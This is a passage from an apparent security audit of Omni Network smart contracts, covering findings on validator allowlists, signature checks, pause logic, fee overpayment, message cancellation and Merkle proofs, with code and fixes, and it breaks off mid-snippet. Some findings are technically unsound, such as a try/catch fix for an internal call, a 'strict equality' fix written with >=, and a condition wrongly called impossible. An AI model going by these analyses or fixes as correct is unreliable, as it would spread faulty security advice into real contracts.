3.4.13 Centralized Control over Validator Allowlist

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Description

The Staking contract includes a validator allowlist feature that controls which validators can register. This allowlist is fully controlled by the contract owner, without any form of decentralization or community input. This centralized control presents a risk as the owner can arbitrarily add or remove validators from the allowlist, creating a single point of failure and potentially compromising the security and fairness of the staking system.

- Location: **Contract:** Staking **Functions:** enableAllowlist, disableAllowlist, allowValidators, disallowValidators

```
function enableAllowlist() external onlyOwner {
    isAllowlistEnabled = true;
    emit AllowlistEnabled();
}

function disableAllowlist() external onlyOwner {
    isAllowlistEnabled = false;
    emit AllowlistDisabled();
}

function allowValidators(address[] calldata validators) external onlyOwner {
    for (uint256 i = 0; i < validators.length; i++) {
        isAllowedValidator[validators[i]] = true;
        emit ValidatorAllowed(validators[i]);
    }
}

function disallowValidators(address[] calldata validators) external onlyOwner {
    for (uint256 i = 0; i < validators.length; i++) {
        isAllowedValidator[validators[i]] = false;
        emit ValidatorDisallowed(validators[i]);
    }
}
```

- Impact **Centralization Risk:** The entire validator allowlist mechanism is controlled by the owner of the contract. If the owner is compromised, acts maliciously, or makes poor decisions, this could lead to severe centralization issues. The owner could choose to allow only certain validators, creating a monopoly or unfair advantage.

Single Point of Failure: Since the contract's owner is the sole entity responsible for managing the allowlist, a failure in this centralized entity could halt validator onboarding or allow malicious actors to manipulate the network.

Governance Risks: The lack of community or decentralized governance in the validator selection process makes the system vulnerable to censorship or corruption. The owner could exclude certain validators for

personal or political reasons, which reduces the fairness and trust in the network.

- Exploit Scenario:

The contract owner decides to remove honest validators from the allowlist while adding only a few validators that they control or collude with. This centralizes the validator set, which could lead to unfair governance or even manipulation of block validation and rewards. Honest delegators would be forced to stake with malicious validators, resulting in potential economic loss and reduced network security.

- Recommendation **Decentralized Governance:** Replace the single-owner control with a decentralized governance mechanism (such as a DAO or a multi-signature wallet) where validators are voted on by the community or through a token-based voting mechanism. This will prevent any single entity from controlling the validator allowlist.

Multi-signature Control: Implement a multi-signature system for controlling the allowlist. This would require multiple trusted parties to approve changes to the validator set, reducing the risk of malicious behavior from a single owner.

Automated Validator Addition: Consider automating validator onboarding based on specific criteria (e.g., stake, uptime, or performance metrics) rather than relying on manual intervention. This would reduce centralization risks and ensure fair validator selection.

3.4.14 Lack of delegator existence check in delegate function

Severity: Medium Risk

Context: Staking.sol#L103

- Description The `delegate` function in the Staking contract allows users to delegate tokens to a validator. However, it lacks a crucial check to verify if the specified validator actually exists in the system before processing the delegation. This oversight can lead to several serious issues, including loss of user funds and inconsistent state in the staking system.

```
function delegate(address validator) external payable {
       require(!isAllowlistEnabled || isAllowedValidator[validator], "Staking: not allowed val");
       require(msg.value >= MinDelegation, "Staking: insufficient deposit");

       // only support self delegation for now
       require(msg.sender == validator, "Staking: only self delegation");

       emit Delegate(msg.sender, validator, msg.value);
   }
```

The `delegate` function currently performs the following checks:

1. Verifies if the allowlist is enabled and if the validator is allowed (when applicable).
2. Ensures the delegated amount meets the minimum delegation requirement.
3. Restricts delegation to self-delegation only (delegator must be the validator).

However, it does not verify if the address provided as the `validator` parameter corresponds to an actual, registered validator in the system.

- Recommendation
- Loss of user funds: Users may delegate tokens to non-existent validators, that is themselves, effectively locking their funds in the contract with no way to recover them.

2. Inconsistent Staking State: The system may record delegations to validators that don't exist, leading to discrepancies between the contract state and the actual validator set.

3.4.15 Signature Verification Mechanism can cause an entire revert in the XSubmit function leading to a Potential DoS

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Summary: The signature verification process in the `_isValidSig` function, which is responsible for verifying validator signatures in the quorum mechanism, is vulnerable to a potential **Denial of Service (DoS)** issue. Specifically, a single invalid signature could cause the `ECDSA.recover` function to revert, preventing the entire quorum verification process and potentially halting critical operations (e.g., cross-chain transactions) if this function is called within the broader `XSubmit` call.
- Vulnerability Details: When the Relayer (which in this case is a permissionless entity) collects finalized `XBlock` and `signatures`, it creates an `XBlock` submission via the `XSubmit` call

```
/**
   * @notice Submit a batch of XMsgs to be executed on this chain
   * @param xsub  An xchain submission, including an attestation root w/ validator signatures,
   *              and a block header and message batch, proven against the attestation root.
   */
  function xsubmit(XTypes.Submission calldata xsub)
      external
      whenNotPaused(ActionXSubmit, xsub.blockHeader.sourceChainId)
      nonReentrant
  {
      XTypes.Msg[] calldata xmsgs = xsub.msgs;
      XTypes.BlockHeader calldata xheader = xsub.blockHeader;
      uint64 valSetId = xsub.validatorSetId;

      require(xheader.consensusChainId == omniCChainId, "OmniPortal: wrong cchain ID");
      require(xmsgs.length > 0, "OmniPortal: no xmsgs");
      require(valSetTotalPower[valSetId] > 0, "OmniPortal: unknown val set");
      require(valSetId >= _minValSet(), "OmniPortal: old val set");

      // check that the attestationRoot is signed by a quorum of validators in xsub.validatorsSetId
      require(
@>>       Quorum.verify(
              xsub.attestationRoot,
              xsub.signatures,
              valSet[valSetId],
              valSetTotalPower[valSetId],
              XSubQuorumNumerator,
              XSubQuorumDenominator
          ),
          "OmniPortal: no quorum"
      );

      // check that blockHeader and xmsgs are included in attestationRoot
      require(
          XBlockMerkleProof.verify(xsub.attestationRoot, xheader, xmsgs, xsub.proof, xsub.proofFlags),
          "OmniPortal: invalid proof"
      );

      // execute xmsgs
      for (uint256 i = 0; i < xmsgs.length; i++) {
          _exec(xheader, xmsgs[i]);
      }
  }
```

During this call, A call is made to `Quorum.verify()` which ensures enough validators have signed the submission.

```
  function verify(
        bytes32 digest,
        XTypes.SigTuple[] calldata sigs,
        mapping(address => uint64) storage validators,
        uint64 totalPower,
        uint8 qNumerator,
        uint8 qDenominator
    ) internal view returns (bool) {
        uint64 votedPower;
        XTypes.SigTuple calldata sig;

        for (uint256 i = 0; i < sigs.length; i++) {
            sig = sigs[i];

            if (i > 0) {
                XTypes.SigTuple calldata prev = sigs[i - 1];
                require(sig.validatorAddr > prev.validatorAddr, 'Quorum: sigs not deduped/sorted');
            }

@>>         require(_isValidSig(sig, digest), 'Quorum: invalid signature');

            votedPower += validators[sig.validatorAddr];

            if (_isQuorum(votedPower, totalPower, qNumerator, qDenominator)) return true;
        }

        return false;
    }
```

Purpose: This function checks if a validator's signature (`sig.signature`) is valid by comparing the address recovered from the signature using `ECDSA.recover(digest, sig.signature)` with the provided validator's address (`sig.validatorAddr`).

Issue: The `ECDSA.recover` function can cause a revert if the signature is malformed, improperly formatted, or otherwise invalid. Since the function is used inside a loop during the quorum verification process, a single invalid signature (either due to an error or malicious intent) will cause the entire transaction to revert.

```
    /// @dev True if SigTuple.sig is a valid ECDSA signature over the given digest for SigTuple.addr, else false.
    function _isValidSig(
        XTypes.SigTuple calldata sig,
        bytes32 digest
    ) internal pure returns (bool) {
@>>     return ECDSA.recover(digest, sig.signature) == sig.validatorAddr;
    }
```

- Problematic Scenario: Consider a **cross-chain transaction** where multiple validators need to sign off to achieve a quorum. If any of the provided signatures is invalid, the entire submission will fail and revert. This creates an opportunity for a temporary **Denial of Service (DoS)** condition, whether due to an accidental error (e.g., a validator submits a corrupted signature) or a malicious validator intentionally submitting a bad signature.
- Example Scenario: **Validators**: `validatorA`, `validatorB`, `validatorC`, `validatorD`

Voting Power: `validatorA`: 40 `validatorB`: 30 `validatorC`: 20 `validatorD`: 10

Total Power: 100

Threshold for quorum: 67 (67% of the total power)

When validating the signatures:

1. Valid Signatures from `validatorA` (address: `0xA`, signature: `sigA`), `validatorB` (address: `0xB`, signature: `sigB`), and `validatorD` (address: `0xD`, signature: `sigD`) are provided.
2. Invalid Signature from `validatorC` (address: `0xC`, signature: !`sigC`) is also submitted, either by accident or with malicious intent. When processing the signatures, the verify function checks:

`validatorA`'s signature: valid. `validatorB`'s signature: valid. `validatorC`'s signature: invalid.

3. The `ECDSA.recover` call inside `_isValidSig` could initiate a revert due to an invalid signature.

4. **Result**: The entire quorum verification reverts, causing the `XSubmit` function to fail. The valid signatures from `validatorA`, `validatorB`, and `validatorD` cannot be processed because the execution stops at `validatorC`

Impact: **Denial of Service**: A single invalid signature could block the entire quorum verification process, potentially delaying critical transactions or halting operations.

Non-Malicious Scenario: Even non-malicious validators who mistakenly submit invalid signatures can unintentionally cause downtime by halting the quorum verification process.

- Mitigation: To avoid this issue, a try/catch block should be introduced around the `ECDSA.recover` call. This would allow the function to handle invalid signatures gracefully without reverting the entire transaction.

Here's how the function can be rewritten:

```
function _isValidSig(
    XTypes.SigTuple calldata sig,
    bytes32 digest
) internal pure returns (bool) {
    try ECDSA.recover(digest, sig.signature) returns (address recoveredAddr) {
        return recoveredAddr == sig.validatorAddr;
    } catch {
        return false; // Handle invalid signature by returning false, not reverting
    }
}
```

3.4.16 Vulnerability in OmniBridge Cross-Chain Paused State Logic: Incorrect Source Chain Validation

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Summary

A vulnerability was identified in the OmniBridge contract's cross-chain (`xcall`) functionality, specifically in how the system handles paused states for cross-chain calls between Layer 1 (L1) and native chains. When the `xcall` action is paused on the L1 side to prevent calls from L1 to the native chain, the contract incorrectly checks whether the destination chain's `xcall` is paused instead of the source chain (L1). As a result, if L1 is paused but the native chain is not, the transaction is still processed, which introduces significant risks in maintaining the state of the contracts.

- Finding Description

The vulnerability arises from a flawed logic check within the `xcall` function. The contract relies on a `whenNotPaused` modifier that checks whether the cross-chain call (`xcall`) action is paused. However, instead of verifying the paused state of the source chain (L1 in this case), it incorrectly checks the paused state of the destination chain(Native). If the L1 is paused but the native chain is not, the transaction proceeds when it should be reverted, violating the expected behavior.

This issue affects the protocol's ability to pause operations between L1 and the native chain effectively.

- Impact Explanation

This vulnerability introduces significant risks to the protocol's ability to maintain proper cross-chain contract management. Specifically:

1. **Violation of Paused State Expectations**: When L1 is paused to prevent transactions, users and administrators expect that no transactions will be processed from L1 to native. However, due to this flawed logic, transactions can still be processed, creating operational inconsistencies.
2. **Increased Risk of Exploitation**: Malicious actors or external parties could potentially exploit this gap by initiating transactions even when the L1 is paused, bypassing the intended security and control measures.

- Likelihood Explanation

The likelihood of this issue occurring is moderate to high, because of the frequency of the use of the `xcall` feature between L1 and native chains. When the protocol frequently pauses L1 operations as a risk management strategy, there is a higher probability that this vulnerability will manifest.

- Proof of Concept (if required)

The following is a relevant snippet from the `xcall` function and the `whenNotPaused` modifier:

1.

```
function xcall(uint64 destChainId, uint8 conf, address to, bytes calldata data, uint64 gasLimit)
    external
    payable

@audit >> issue >>    whenNotPaused(ActionXCall, destChainId)

{
    // xcall logic here
}
```

The key vulnerability lies in the `whenNotPaused` modifier, which incorrectly checks the paused state of the destination chain (`destChainId`) instead of the source chain. In actual reality, the xcall function is for the source chain. For instance, when admin pauses xcall on chain A, it is expected that no xcalls on chain A will succed, but based on the current implementation, it will be possible to process xcalls on chain A since the check is done agains the destination chain B.

2.

```
modifier whenNotPaused(bytes32 actionId, uint64 chainId_) {
    require(!_isPaused(actionId, _chainActionId(actionId, chainId_)), "OmniPortal: paused");
    _;
}
```

Here, the `chainId_` parameter is set to the destination chain's ID (`destChainId`) rather than the source chain (L1), which causes the system to skip the necessary check on the L1 paused state.

3.

```
function _isPaused(bytes32 key1, bytes32 key2) internal view returns (bool) {
    PauseableStorage storage $ = _getPauseableStorage();
    return $._paused[KeyPauseAll] || $._paused[key1] || $._paused[key2];
}
```

A. Check if Xcall is paused for all

B. Check if all actions are paused

C. Check if xcall is paused for the chainid stated //--- source chain should be checked not dest//

This results in the `_isPaused` function evaluating the paused state of the wrong chain, allowing transactions to go through even if the source chain (L1) is paused.

- Recommendation (optional)

To fix this vulnerability, the protocol should modify the logic in the `whenNotPaused` modifier to ensure that the source chain's paused state is checked instead of the destination chain. A few potential solutions are:

1. **Modify the `whenNotPaused` Modifier**: Update the `whenNotPaused` modifier to check the source chain instead of the destination chain. This would involve adjusting how the `chainId_` is passed into the modifier, ensuring that the source chain's paused state is correctly evaluated before proceeding with the transaction.

3.4.17 LACK OF REFUND MECHANISM FOR OVERPAYMENT

Severity: Medium Risk

Context: OmniBridgeL1.sol#L74-L99

- Description

It is possible to send a higher `msg.value` than is required to `bridge()`. The excess value that is sent will be permanently locked in the contract since there is no mechanism to withdraw that amount back.

- Recommendation

To avoid this issue consider enforcing a strict equality.

```
require(msg.value == omni.feeFor(omniChainId, xcalldata, XCALL_WITHDRAW_GAS_LIMIT), "OmniBridge: insufficient
↪  fee");
```

3.4.18 FUNDS MIGHT BE BURNT FOREVER

Severity: Medium Risk

Context: Slashing.sol#L35-L46

- Description

It is possible to send a higher msg.value than is required to unjail(). The excess value that is sent will be burned forever.

- Recommendation

To avoid this issue consider enforcing a strict equality.

```
require(msg.value == Fee, "Slashing: insufficient fee");
```


3.4.19 LACK OF REFUND MECHANISM FOR OVERPAYMENT

Severity: Medium Risk

Context: OmniPortal.sol#L147

- Description

It is possible to send a higher msg.value than is required to bridge(). The excess value that is sent will be permanently locked in the contract since there is no mechanism to withdraw that amount back.

- Recommendation

To avoid this issue consider enforcing a strict equality.

```
require(msg.value >= fee, "OmniPortal: insufficient fee");
```

3.4.20 `nonreentrant` in `OmniPortal#xsubmit` will restrict functionality

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Description The `nonReentrant` modifier in `OmniPortal#xsubmit` could restrict legitimate cross-chain messaging patterns, particularly in hub-and-spoke architectures where `Omni` serves as a central coordination layer.

Consider this scenario:

- Chain A sends a message to Chain B through `Omni` (`xcall`)
- The message execution on Chain B (`xsubmit`) triggers a response back to Chain A (`a second xcall`)
- The response message needs to be processed in the same transaction
- The `nonReentrant` modifier would prevent this pattern

```
    function xcall(uint64 destChainId, uint8 conf, address to, bytes calldata data, uint64 gasLimit)
        external
        payable
        whenNotPaused(ActionXCall, destChainId)
    {
     // ...
    }
```

```
function xsubmit(XTypes.Submission calldata xsub)
    external
    whenNotPaused(ActionXSubmit, xsub.blockHeader.sourceChainId)
    nonReentrant
{
    // ... message processing logic
}
```

This limitation affects the composability of cross-chain applications. To emphasize on the concrete use-case of this pattern, here's a quote from the docs:

> It could be used as the central coordination layer from cross-chain dapps that prefer a hub-and-spoke model.

- Recommendation

Consider removing `nonreetrant` from `xsubmit` function.

3.4.21 Incorrect check in `parseAndVerifyProposoedPayload`

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Description:: Inside `parseAndVerifyProposedPayload()`, the following check is made:

```
    // Ensure the payload timestamp is after latest execution block and before or equaled to the current
↪   consensus block.
    minTimestamp := head.GetBlockTime() + 1
    maxTimestamp := uint64(sdk.UnwrapSDKContext(ctx).BlockTime().Unix())
    if maxTimestamp < minTimestamp { // Execution block minimum takes precedence
        maxTimestamp = minTimestamp
    }
    if payload.Timestamp < minTimestamp || payload.Timestamp > maxTimestamp {
        return engine.ExecutableData{}, errors.New("invalid payload timestamp",
            "proposed", payload.Timestamp, "min", minTimestamp, "max", maxTimestamp,
        )
    }
```

We are going to use the following arbitrary values(unix timestamps):

- `minTimestamp = 1729772999`
- `maxTimestamp = 1729772111`

`maxTimestamp` is smaller than `minTimestamp`, which means we enter this `if-statement`:

```
    if maxTimestamp < minTimestamp { // Execution block minimum takes precedence
        maxTimestamp = minTimestamp
    }
```

Now, `maxTimestamp` will be set to `minTimestamp`. The current values are:

- `minTimestamp = 1729772999`
- `maxTimestamp = 1729772999`

Then, the following check happens:

```
if payload.Timestamp < minTimestamp || payload.Timestamp > maxTimestamp {
//      return engine.ExecutableData{}, errors.New("invalid payload timestamp",
//          "proposed", payload.Timestamp, "min", minTimestamp, "max", maxTimestamp,
        )
}
```

For this to pass, `payload.Timestamp` needs to be more than `1729772999` **and** `payload.Timestamp` needs to be **less** than `1729772999`, in other words, the only way for this check to pass is if `payload.Timestamp == minTimestamp == maxTimestamp == 1729772999`.

This is impossible. We are not sure what the intention of the project is here. If we were to assume that they did not want to continue when `maxTimestamp < minTimestamp`, then they would just return in this `if-statement`:

```
    if maxTimestamp < minTimestamp { // Execution block minimum takes precedence
        maxTimestamp = minTimestamp
    }
```

But they do not return, they just set `maxTimestamp` to `minTimestamp` and then do another check that is impossible to pass in practice, because it would require the execution payload received by the `EngineAPI` to be the exact same `UNIX timestamp` as `minTimestamp`.

Impact: The constraints here is that `maxTimestamp < minTimestamp` is not likely to happen but the impact here is High. `parseAndVerifyProposedPayload` is used in the `ProcessProposal` part of the execution flow and is used during the `FinalizeBlock` part of the execution flow. An honest validator will have their funds slashed due to this `if-statement` that is impossible to pass.

Recommendation: Correct the conditional logic of the `if-statement`

3.4.22 Outdated gas parameters may cause cross-chain trxs failures and fee loses for relayers in bridging

Severity: Medium Risk

Context: OmniBridgeL1.sol#L90

- Summary

Bridge functions in native and L1 function uses the `FeeOracleV2` oracle to calculates cross-chain message fees using admin-set parameters such as `gasPrice` and `toNativeRate` for each chain. These parameters are statically set by an admin and lack real-time updates, which could potentially result in failed cross-chain transactions if gas prices spike on the destination chain. This is particularly important because the `bridgeFee` function, used during Omni -> Ethereum and Ethereum -> Omni bridging, relies on the `feeFor` function from the `FeeOracleV2` oracle to calculate the required fees. If these parameters are outdated, users might underpay fees, causing valid transactions to fail.

- Finding Description

In both the Omni -> Ethereum and Ethereum -> Omni bridges, the `bridgeFee` function is responsible for calculating the necessary fees for the cross-chain transaction. The `bridgeFee` function calls the `feeFor` function from the `FeeOracleV2` to compute the gas fees, which depend on the admin-set values for `execGasPrice` and `toNativeRate`.

The issue arises bcz these values are manually set & there is no automated mechanism to ensure they are updated in real-time. If gas prices spike on the destination chain (*ETH or Omni*), the calculated fees may not reflect the current gas requirements. This could lead to underpayment of fees, resulting in two issues.

1 - Protocol losses - the relayers spending more in fees than they collected. 2 - Potential failures of xchain messages.

The fee calculation in oracle is invoked when users:

- **Bridge OMNI from Ethereum to Omni**:
  - The `bridge()` function calls `feeFor()` to calculate the fees required for the cross-chain message.
- **Withdraw OMNI from Omni to L1**:
  - The `withdraw()` function on Omni also depends on `feeFor()` to calculate the fees for the transaction.

If the gas prices on the destination chain (ETH or Omni) increase significantly but the `execGasPrice` and `toNativeRate` are not updated, the transaction might fail due to insufficient fees and the protocol losses are for sure occuring, bcz the relayers will be spending more gas fees than they collect.

- Impact Explanation

Relayers can face financial losses if they cover gas costs that exceed the fees collected, leading to potential protocol losses. This risk arises from underpayment of gas fees due to outdated `execGasPrice` or `toNativeRate` values, which can also potentially cause cross-chain transactions to fail and fee losses for relayers—particularly affecting users bridging OMNI between Ethereum and Omni.

- Likelihood Explanation

The likelihood imo is **low** bcz admins are responsible for updating the fee params, but gas price volatility is very common. In the absence of real-time updates, the system may continue to use stale values for extended periods, especially during times of congestion or network stress. This increases the likelihood of more "**protocol losses**" - the relayer spending more in fees than they collected.

- Recommendation

To prevent the relayers fee loses and cross-chain transaction failures, consider integrating a real-time oracle, such as Chainlink, to dynamically update `execGasPrice` and `toNativeRate` based on real-time gas prices on the destination chain. This will ensure that the calculated fees accurately reflect current gas requirements, reducing the risk of failed transactions. You can also explore about chainlink keepers which can automate these kinda updates very easily.

3.4.23 No way to cancel L1<->L2 messages if failed

Severity: Medium Risk

Context: OmniBridgeL1.sol#L59

- Summary The Omni Bridge lacks a message cancellation mechanism which means failed cross-chain messages cannot be recovered, potentially leading to permanent loss of user funds. While a specific scenario is documented as a known issue (*withdraw function being paused*), this points to a broader architectural concern where any message failure leaves user funds in limbo without recourse.
- Finding Description The Omni Bridge protocol allows bridging OMNI tokens between chains using a system of cross-chain messages. When a user initiates a bridge from OMNI -> ETH through OmniBridgeNative:

1. State changes happen on OMNI side first:

```
function _bridge(address to, uint256 amount) internal {
    // ... checks
    l1BridgeBalance -= amount;  // State change occurs

    omni.xcall{ value: msg.value - amount }(
        l1ChainId,
        ConfLevel.Finalized,
        l1Bridge,
        abi.encodeCall(OmniBridgeL1.withdraw, (to, amount)),
        XCALL_WITHDRAW_GAS_LIMIT
    );
}
```

2. Then the message is processed on L1 side:

```
function withdraw(address to, uint256 amount) external whenNotPaused(ACTION_WITHDRAW) {
    // ... checks
    token.transfer(to, amount); // Can fail for multiple reasons
}
```

However, if the L1 message execution fails for any reason (e.g *withdraw is paused*), there is no way to cancel the original message & recover the user's funds. This contrasts with other cross-chain protocols like StarkNet and Stargate that implement message cancellation features.

- Impact Explanation When a cross-chain message fails on L1:

1. User's OMNI tokens are already deducted on OMNI chain
2. l1BridgeBalance is already reduced
3. No L1 tokens are minted/transferred

4. No mechanism exists to cancel the message and revert OMNI-side changes
5. Funds become permanently locked in the bridge

This creates a serious risk of permanent fund loss not just in the known pausing scenario, but in any case where L1 message execution fails, such as:

- failed token transfers which is not possible currently bcz of the full control of omni token team has, but there is possibility of this happening.
- gas price spikes
- and, of-course due to **withdraw pausing on dst chain**
- Likelihood Explanation The likelihood is low-moderate because:

1. Cross-chain message failures are common in production
2. Multiple scenarios can trigger message failures
3. The known issue around pausing demonstrates this is a real concern but pausing is not something which happens very instantly so likelihood of this is low.

- Proof of Concept Consider this sequence:

1. User bridges 100 OMNI tokens on OMNI chain
2. l1BridgeBalance is reduced by 100
3. L1 message fails due to any reason (*pausing, insufficient balance, etc.*)
4. User has lost their OMNI tokens with no recovery path
5. No mechanism exists to cancel the failed message & revert state

- Recommendation

Implement a message cancellation mechanism that allows recovery if L1 execution fails.

Along with this you can consider adopting patterns from StarkNet & Stargate for message cancellation.

3.4.24 Contract on L1 may not be able to execute the claim mechanism

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Description

`OmniBridgeNative` has a claim mechanism which allows users to reclaim their OMNI tokens in case the `to.call` fails (for example if the `fallback()` function reverts).

https://github.com/omni-network/omni/blob/ac1f4111267d9ed8a99b50c73b726ff14ae20698/contracts/core/src/token/OmniBridgeNative.sol#L95

```
    function withdraw(address payor, address to, uint256 amount, uint256 l1Balance)
        external
        whenNotPaused(ACTION_WITHDRAW)
    {
        XTypes.MsgContext memory xmsg = omni.xmsg();

        require(msg.sender == address(omni), "OmniBridge: not xcall"); // this protects against reentrancy
        require(xmsg.sender == l1Bridge, "OmniBridge: not bridge");
        require(xmsg.sourceChainId == l1ChainId, "OmniBridge: not L1");

        l1BridgeBalance = l1Balance;

        (bool success,) = to.call{ value: amount }("");

        if (!success) claimable[payor] += amount;

        emit Withdraw(payor, to, amount, success);
    }
```

The problem is that to reclaim the OMNI tokens, the OMNI payor on L1 must send an xcall to L2.

https://github.com/omni-network/omni/blob/ac1f4111267d9ed8a99b50c73b726ff14ae20698/contracts/core/src/token/OmniBridgeNative.sol#L158

```
    function claim(address to) external whenNotPaused(ACTION_WITHDRAW) {
        XTypes.MsgContext memory xmsg = omni.xmsg();

        require(msg.sender == address(omni), "OmniBridge: not xcall");
        require(xmsg.sourceChainId == l1ChainId, "OmniBridge: not L1");
        require(to != address(0), "OmniBridge: no claim to zero");

        address claimant = xmsg.sender;
        require(claimable[claimant] > 0, "OmniBridge: nothing to claim");

        uint256 amount = claimable[claimant];
        claimable[claimant] = 0;

        (bool success,) = to.call{ value: amount }("");
        require(success, "OmniBridge: transfer failed");

        emit Claimed(claimant, to, amount);
    }
```

The payor on L1 can be an immutable contract and likely not implement any way to send an xcall to L2 as it may not be expecting such cases where the initial OMNI transfer fails.

As such, the OMNI tokens will be locked in the contract forever.

- Recommendation

Fix is non-trivial and would require changing the claiming mechanism

3.4.25 Unrestricted Self Delegation Attempts

Severity: Medium Risk

Context: Staking.sol#L103-L111

The delegate function allows validators to increase their self delegation without restrictions, which may probably leads to network congestion, excessive transactions, resources exhaustion, increased transaction which may leads to higher transaction which may affect the validator's profit and also damaging the validator's reputation.

Lack of cool down period or rate limiting allows for validators to continuously call the delegate function

LOCATION

1. delegate function
2. staking.sol contract

ACTUAL BEHAVIOUR

1. Deploy the staking contract
2. call the delegate function repeatedly without delay
3. observe network congestion, excessive transaction and resources exhaustion

EXPECTED BEHAVIOUR

The delegate function should implement cool down period or rate limiting to prevent excessive self delegation attempts.

RECOMMENDATION

Implement a cool down period or rate limiting mechanism to prevent excessive self delegation attempts either by implementing a mapping that tracks the timestamp of the last delegation attempts for each validator e.g mapping(address => uint256) lastDelegateTime;

or create a function that can set cool down period.

3.4.26 Inconsistent Merkle Proof and Flag Lengths in Cross-Chain Message Verification

Severity: Medium Risk

Context: XBlockMerkleProof.sol#L28-L38, OmniPortal.sol#L203

- Summary The `XBlockMerkleProof.verify` function in the `OmniPortal` contract lacks a critical check to ensure that the lengths of the `msgProof` and `msgProofFlags` arrays are consistent. This can lead to incorrect processing of Merkle proofs, potentially allowing invalid cross-chain messages to be accepted or valid ones to be rejected.
- Finding Description The root cause of this issue is the absence of a length check between `msgProof` and `msgProofFlags` in the `XBlockMerkleProof.verify` function.

```
    function verify(
        bytes32 root,
        XTypes.BlockHeader calldata blockHeader,
        XTypes.Msg[] calldata msgs,
        bytes32[] calldata msgProof,
        bool[] calldata msgProofFlags
    ) internal pure returns (bool) {

        // Missing check msgProof and msgProofFlags arrays

        bytes32[] memory rootProof = new bytes32[](1);
        rootProof[0] = MerkleProof.processMultiProofCalldata(msgProof, msgProofFlags, _msgLeaves(msgs));
        return MerkleProof.verify(rootProof, root, _blockHeaderLeaf(blockHeader));
    }
```

- Impact Explanation Valid cross-chain messages be incorrectly rejected, causing disruptions in cross-chain operations.
- Scenario

1. A cross-chain message submission is made with a `msgProof` array that has a different length from the `msgProofFlags` array.
2. The `XBlockMerkleProof.verify` function processes these arrays without checking their lengths.
3. Due to the mismatch, the `MerkleProof.processMultiProofCalldata` function may process elements incorrectly, leading to an invalid Merkle root being calculated.
4. This can result in valid messages being rejected or, in a worst-case scenario, invalid messages being accepted if the proof is manipulated.

- Recommendation Add a length check at the beginning of the `XBlockMerkleProof.verify` function to ensure that `msgProof` and `msgProofFlags` have the same length.

```
function verify(
    bytes32 root,
    XTypes.BlockHeader calldata blockHeader,
    XTypes.Msg[] calldata msgs,
    bytes32[] calldata msgProof,
    bool[] calldata msgProofFlags
) internal pure returns (bool) {
+   require(msgProof.length == msgProofFlags.length, "Proof length mismatch");

    bytes32[] memory rootProof = new bytes32[](1);
    rootProof[0] = MerkleProof.processMultiProofCalldata(msgProof, msgProofFlags, _msgLeaves(msgs));
    return MerkleProof.verify(rootProof, root, _blockHeaderLeaf(blockHeader));
}
```

3.4.27 Missing msg.value in xcall Invocation within fillUp Function will cause failure

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Summary The `fillUp` function in the OmniGasPump' contract is designed to accept a payable amount (msg.value) from the caller, which covers:

The cross-chain transaction fee required for the xcall function. An additional amount to swap for OMNI tokens. Within `fillUp`, the function xcall is invoked to facilitate a cross-chain settlement. However, this invocation omits `{ value: f }`, meaning that `xcall` receives no ETH (i.e., msg.value is implicitly set to zero for xcall). since `xcall` is expected to use msg.value directly for its operation (which is implied by the inline comment), this omission could prevent xcall from functioning as intended, possibly leading to transaction reverts.

- Vulnerability Details `fillUp` Function Overview The `fillUp` function is payable, meaning it can receive ETH sent by the caller. Here's what fillUp does:

1. **Fee Calculation:** It calculates the cross-chain fee (f) by calling xfee() and ensures msg.value is at least as large as `f`.
2. **ETH-to-OMNI Conversion:** The remaining ETH (amtETH), after deducting f, is used to determine the amount of OMNI to be received.
3. **Cross-Chain Settlement:** After calculating the OMNI amount, it calls `xcall`, intending to settle the OMNI with the specified recipient on the destination chain.

The `xcall` function in Omni Portal handles cross-chain communication and, based on the inline comment, requires msg.value to cover cross-chain transaction fees. Without `{ value: amount }` specified, `msg.value` in `xcall` defaults to zero. Thus, if xcall requires ETH (passed as `msg.value`) for gas fees, failing to pass `{ value: f }` would make xcall operate without the necessary funds.

- Scenario 1: xcall Requires `msg.value` for Cross-Chain Transactions If `xcall` expects a non-zero `msg.value`:
- Problem: Omitting `{ value: f }` results in `msg.value` being zero for `xcall`, likely causing the cross-chain settlement to fail or revert.
- The comment states:

  "Takes an xcall fee and a pct cut. Cut taken to disincentivize spamming."

This comment implies that `xcall` should receive and use a specific portion of `msg.value` for its operation. The discrepancy between the comment and the code introduces ambiguity for developers and auditors, increasing the risk of introducing bugs or oversights during future modifications or integrations.

```
function fillUp(address recipient) public payable whenNotPaused returns (uint256) {
    require(recipient != address(0), "OmniGasPump: no zero addr");

    // take xcall fee
    uint256 f = xfee();
    require(msg.value >= f, "OmniGasPump: insufficient fee");
    uint256 amtETH = msg.value - f;

    // check max
    require(amtETH <= maxSwap, "OmniGasPump: over max");

    // take toll
    uint256 t = amtETH * toll / TOLL_DENOM;
    amtETH -= t;

    uint256 amtOMNI = _toOmni(amtETH);

    // update owed
    owed[recipient] += amtOMNI;

    // settle up with the gas station
    xcall({< ------- @audit No fee passed
        destChainId: omniChainId(),
        to: gasStation,
        conf: ConfLevel.Latest,
        data: abi.encodeCall(OmniGasStation.settleUp, (recipient, owed[recipient])),
        gasLimit: SETTLE_GAS
    });

    emit FilledUp(recipient, owed[recipient], msg.value, f, t, amtOMNI);

    return amtOMNI;
}
```

- Impact The bug creates a risk of transaction failure, misallocation of funds, or increased vulnerability to spam, as `xcall` may not receive the intended ETH required for cross-chain processing.
- Recommendation To ensure xcall has the necessary msg.value to operate, add `{ value: f }` to the xcall invocation, which will pass the calculated fee along with the function call .


```
function fillUp(address recipient) public payable whenNotPaused returns (uint256) {
    require(recipient != address(0), "OmniGasPump: no zero addr");

    // take xcall fee
    uint256 f = xfee();
    require(msg.value >= f, "OmniGasPump: insufficient fee");
    uint256 amtETH = msg.value - f;

    // check max
    require(amtETH <= maxSwap, "OmniGasPump: over max");

    // take toll
    uint256 t = amtETH * toll / TOLL_DENOM;
    amtETH -= t;

    uint256 amtOMNI = _toOmni(amtETH);

    // update owed
    owed[recipient] += amtOMNI;

    // settle up with the gas station, passing fee as msg.value
+    xcall{ value: f }({
+        destChainId: omniChainId(),
+       to: gasStation,
+        conf: ConfLevel.Latest,
